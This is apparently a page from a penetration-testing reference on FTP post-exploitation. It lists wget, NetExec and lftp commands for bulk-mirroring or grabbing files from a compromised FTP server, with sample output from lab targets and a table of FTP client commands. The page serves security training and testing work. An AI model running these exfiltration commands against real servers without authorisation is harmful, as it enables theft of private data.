# FTP Data Exfiltration

> Covers FTP-based data exfiltration techniques post-compromise, including anonymous access abuse, credential reuse, and transferring sensitive files via FTP commands.

- **URL:** https://hackindex.io/services/ftp/post-exploitation/ftp-data-exfiltration
- **Path:** FTP > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/services/ftp/post-exploitation.md)
- **Published:** 2025-12-29
- **Updated:** 2026-08-11

FTP data exfiltration focuses on **extracting files and data from an FTP server** after successful authentication.  
This phase assumes **valid credentials or anonymous access** have already been obtained.

- **wget recursive mirror** download the entire FTP tree in one command, preserving directory structure.
- **nxc FTP module** quick directory listing and targeted file downloads without interactive sessions.
- **lftp mirror** resumable parallel transfers for large trees, with native FTPS support.
- **Binary mode** always enable binary transfer before moving executables, archives, or images to avoid corruption.

## Bulk Download

Mirror everything:

```bash
wget -r --user="$USER" --password="$PASSWORD" ftp://$TARGET_IP/
```

**For FTPS**:

```bash
wget -m --user="$USER" --password="$PASSWORD" --secure-protocol=TLSv1_2 ftps://$TARGET_IP/
```

## Directory Listing & Targeted Download

### Use nxc for quick ops:

```bash
nxc ftp $TARGET_IP -u $USER -p $PASSWORD --ls
# FTP         192.168.0.10   21     192.168.0.10    [*] Banner: (vsFTPd 3.0.5)
# FTP         192.168.0.10   21     192.168.0.10    [+] user:password
# FTP         192.168.0.10   21     192.168.0.10    [*] Directory Listing
# FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Sep 30 17:29 Desktop
# FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Documents
# FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Jul 13 23:42 Downloads
# FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Music
# FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Pictures
# FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Public
# FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Templates
# FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Videos
# FTP         192.168.0.10   21     192.168.0.10    drwx------    4 1000     1000         4096 Aug 28  2022 snap
```

### List a Specific Directory

```bash
nxc ftp $TARGET_IP -u $USER -p $PASSWORD --ls /path/to/dir
```

### Download a Specific File

```bash
nxc ftp $TARGET_IP -u $USER -p $PASSWORD --ls $DIR --get $FILE
# FTP         10.10.176.246   21     10.10.176.246    [*] Banner: (vsFTPd 3.0.3)
# FTP         10.10.176.246   21     10.10.176.246    [+] user:password
# FTP         10.10.176.246   21     10.10.176.246    [+] Downloaded: ftp_flag.thm
```

## Uploading & Handling Binary Files

Before transferring binary files (executables, archives, images), **binary mode must be enabled**.

### Enable Binary Transfer Mode

```bash
binary
```

### Upload a File

```bash
put $FILE
# FTP         10.10.176.246   21     10.10.176.246    [*] Banner: (vsFTPd 3.0.3)
# FTP         10.10.176.246   21     10.10.176.246    [+] user:password
# FTP         10.10.176.246   21     10.10.176.246    [-] Failed to upload file. Response: (550 Permission denied.)
```

## Recursive Download with lftp

```bash
lftp -u $USER,$PASSWORD ftp://$TARGET_IP -e "mirror /remote/dir local/dir; bye"
```

**For FTPS**:

```bash
lftp -u $USER,$PASSWORD ftps://$TARGET_IP -e "set ssl:verify-certificate no; mirror /remote/dir local/dir; bye"
```

## All FTP commands

|  |  |
| --- | --- |
| **FTP Command** | **Description of Command** |
| ! | Escape to the shell. |
| $ | Execute macro |
| ? | Print local help information. |
| account | Send account command to remote server. |
| append | Append to a file. |
| ascii | Set ascii transfer type. |
| beep | Beep when command completed. |
| binary | Set binary transfer type. |
| bye | Terminate FTP session and exit. |
| case | Toggle mget upper/lower case id mapping. |
| cd | Change remote working directory. |
| cdup | Change remote working directory to parent directory. |
| chmod | Change file permissions of remote file. |
| close | Terminate FTP session. |
| cr | Toggle carriage return stripping on ascii gets. |
| debug | Toggle/set debugging mode. |
| delete | Delete remote file |
| dir | List contents of remote directory. |
| disconnect | Terminate FTP session. |
| exit | Terminate FTP sessions and exit. |
| form | Set file transfer format. |
| get | Receive file. |
| glob | Toggle meta character expansion of local file names. |
| hash | Toggle printing ‘#’ for each buffer transferred. |
| help | Display local help information. |
| idle | Get (set) idle timer on remote side. |
| image | Set binary transfer type. |
| ipany | Allow use of any address family. |
| ipv4 | Restrict address usage to IPv4. |
| ipv6 | Restrict address usage to IPv6. |
| lcd | Change local working directory. |
| ls | List contents of remote directory. |
| macdef | Define a macro. |
| mdelete | Delete multiple files. |
| mdir | List contents of multiple remote directories. |
| mget | Get multiple files. |
| mkdir | Make directory on remote machine. |
| mls | List contents of multiple remote directories. |
| mode | Set file transfer mode. |
| modtime | Show last modification time of remote file. |
| mput | Send multiple files. |
| newer | Get file if remote file is newer than local file. |
| nlist | List remote directory nlist contents. |
| nmap | Set templates for default file name mapping. |
| ntrans | Set translation table for default file name mapping. |
| open | Connect to remote ftp. |
| passive | Enter passive transfer mode. |
| prompt | Force interactive prompting on multiple commands. |
| proxy | Issue command on an alternate connection. |
| put | Send one file. |
| pwd | Print working directory on remote machine. |
| qc | Print ? in place of control characters on stdout. |
| quit | Terminate ftp session and exit. |
| quote | Send arbitrary ftp command. |
| recv | Receive file. |
| reget | Get file restarting at end of local file. |
| rename | Rename file. |
| reset | Clear queued command replies. |
| restart | Restart file transfer at bytecount. |
| rhelp | Get help from remote server. |
| rmdir | Remove directory on remote machine. |
| rstatus | Show status of remote machine. |
| runique | Toggle store unique for local files. |
| send | Send one file. |
| sendport | Toggle use of PORT cmd for each data connection. |
| site | Send site specific command to remote server. |
| size | Show size of remote file. |
| status | Show current status. |
| struct | Set file transfer structure. |
| sunique | Toggle store unique on remote machine. |
| system | Show remote system type. |
| tenex | Set tenex file transfer type. |
| tick | Toggle printing byte counter during transfers. |
| trace | Toggle packet tracing. |
| type | Set file transfer type. |
| umask | Get (set) umask on remote site. |
| user | Send new user information. |
| verbose | Toggle verbose mode. |

## References

- [List of FTP Commands (IETF RFC-based)](https://en.wikipedia.org/wiki/List_of_FTP_commands) - Comprehensive RFC list of FTP protocol commands
- [RFC 959 – File Transfer Protocol](https://datatracker.ietf.org/doc/html/rfc959) - RFC 959 – File Transfer Protocol (FTP)
- [NetExec - File Listing](https://www.netexec.wiki/ftp-protocol/file-listing-etc)
- [NetExec - File Upload & Download](https://www.netexec.wiki/ftp-protocol/get-and-put-files) - Instructions for using FTP commands to access and transfer files using NetExec.
